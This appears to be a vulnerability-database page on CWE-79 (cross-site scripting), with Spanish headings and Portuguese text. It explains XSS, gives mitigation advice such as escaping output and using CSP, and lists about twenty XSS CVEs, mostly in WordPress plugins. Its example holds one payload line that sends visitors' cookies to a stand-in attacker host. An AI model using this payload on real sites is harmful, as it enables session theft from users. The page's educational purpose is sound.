Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-47947MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-24598HIGHWordPress WP Mailster plugin <= 1.8.17.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4084MEDIUMfyyd podcast shortcodes <= 0.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'color' Shortcode AttributeEPSS 0.3%CVE-2024-43353MEDIUMWordPress myCred plugin <= 2.7.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43349MEDIUMWordPress All Bootstrap Blocks plugin <= 1.3.19 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37447MEDIUMWordPress PixelYourSite plugin <= 9.6.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51685MEDIUMWordPress Accordion title for Elementor plugin <= 1.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41774MEDIUMIBM Common Licensing cross-site scriptingEPSS 0.3%CVE-2024-43225MEDIUMWordPress Enter Addons plugin <= 2.1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47629MEDIUMWordPress Ultimate Store Kit Elementor Addons plugin <= 2.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28978HIGHWordPress SB Breadcrumbs plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-48280MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-14626MEDIUMQR Code for WooCommerce order emails, PDF invoices, packing slips <= 1.9.42 - Authenticated (Contributor+) Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-48022MEDIUMWordPress Shortcode For Elementor Templates plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14796MEDIUMMy Album Gallery <= 1.0.4 - Authenticated (Author+) Stored Cross-Site Scripting via Image TitleEPSS 0.3%CVE-2025-65592MEDIUMnopCommerce 4.90.0 is vulnerable to Cross Site Scripting (XSS) in the product management functionality. Malicious payloads inserted into theEPSS 0.3%CVE-2024-58285MEDIUMChyrp 2.5.2 Stored Cross-Site Scripting Vulnerability via Post TitleEPSS 0.3%CVE-2025-63045MEDIUMWordPress Master Slider Pro plugin <= 3.7.12 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-38720MEDIUMWordPress EazyDocs plugin <= 2.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49265MEDIUMWordPress Booking.com Banner Creator plugin <= 1.4.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%